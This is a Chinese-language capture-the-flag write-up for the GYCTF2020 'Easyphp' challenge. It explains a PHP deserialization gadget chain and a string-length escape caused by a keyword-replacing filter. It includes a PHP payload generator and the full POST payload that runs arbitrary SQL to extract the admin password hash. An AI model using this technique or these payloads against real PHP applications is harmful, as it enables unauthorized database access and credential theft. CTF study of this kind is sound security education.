GYCTF2020Easyphp

源码泄露 www.zip

login.php 过滤了一堆的关键字

1
2
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");

重点在

1
lib.php update.php实例化一个user然后只要session['login']===1就可以有flag

update.php里判断没有登录后会继续执行$user()->update() 所以应该得从update.php那边传参

1
2
3
4
5
6
7
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

先反序列化getNewinfo()返回值 调用updatehelper

1
2
3
4
5
6
getNewinfo :
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

传入agenickname然后返回safe处理后的**Info()**序列化结果

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
safe将一些关键字替换成hacker 这强行替换会造成额外读取 就可以控制了

Info类是简单的赋值 当调用一个不存在的方法时会调用CtrlCase->login()
UpdateHelper类的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

使用newinfo和sql构造 销毁时又会显示sql 正常登录后newInfo应该时admin用户id sql应该在Info类所以$this->sql为空
现在看来就剩下一个了,通过某种方法得到admin的密码,登录得到flag。而要得到flag,很明显只有通过SQL。

1
Info类的__call方法很明显要我们调用dbCtrl的login()方法,让我们任意执行SQL语句。得到admin用户的SQL语句不难写select password,username from user where username=?,因为login()返回的是idResult,第一个结果。Info的__call如何别触发?

User类,update()函数用到了Info类,UpdateHelper也用到了,但是这些都没有涉及到方法的调用,然后我们就看到了_ _toString()方法:

1
2
3
4
5
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
1
nickname unserialize(getNewInfo())得到的 如果nickname是info类,nickname->update就会触发info的_ _call _ _tostring需要一个输出字符串的地方才会被调用 UpdatHelper的__destruct 会echo this->sql User类中UpdateHelper的调用中\)Info会被赋值成$this->sql。
1
2
new UpdateHelper(),调用__destruct(),转向new User()的__toString(),调用nickname->update(),转向new Info()的__call,最终转向new dbCtrl()带出admin的密码 发序列化出updateHelper的类
输入点是getNewInfo()引入Info类 要将updatehelper类放入info中就调用__destruct时 在正常调用正常调用User()->update()的时候Info->CtrlCase没有任何意义 把Info->CtrlCase设置成UpdateHelper类?unserialize()结束后由于没有用到CtrlCase,所以会执行__destruct

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php

class User
{
public $id;
public $age = null;
public $nickname = null;
}

class Info
{
public $age;
public $nickname;
public $CtrlCase;

public function __construct($age, $nickname)
{
$this->age = $age;
$this->nickname = $nickname;
}

}

Class UpdateHelper
{
public $id;
public $newinfo;
public $sql;

public function __construct($newInfo, $sql)
{
$newInfo = unserialize($newInfo);
$upDate = new dbCtrl();
}

}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name = "admin";
public $password;
public $mysqli;
public $token = "admin";

}

$db = new dbCtrl();
$user = new User();
$info = new Info("23333", "Tiaonmmn");
#echo serialize($info);
$updatehelper = new UpdateHelper("1", "");

$info->CtrlCase = $db;
$user->nickname = $info;
$user->age = "select password,id from username where username=?";
$updatehelper->sql = $user;
#echo serialize($updatehelper);
$realinfo = new Info("233333", "Tiaonmmn");
$realinfo->CtrlCase = $updatehelper;
echo serialize($realinfo);


生成符合getNewInfo的序列了
输入age和nickname参数,CtrlCase没办法传进去 return的时候有个safe函数简单地替换了字符,把相应字符串替换成hacker,那么原来序列化的字符串就有相当大的几率被破坏掉,PHP序列化时计算的字符串长度与实际字符串长度不对应,就可以逃逸出来插入想要的内容了

update.php 那边

1
2
post:
age=1&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:5:"23333";s:8:"nickname";s:8:"Tiaonmmn";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

提交就会返回admin的MD5,注意最后面加上了一个“0-0”。 解密就可以登录,拿到flag了。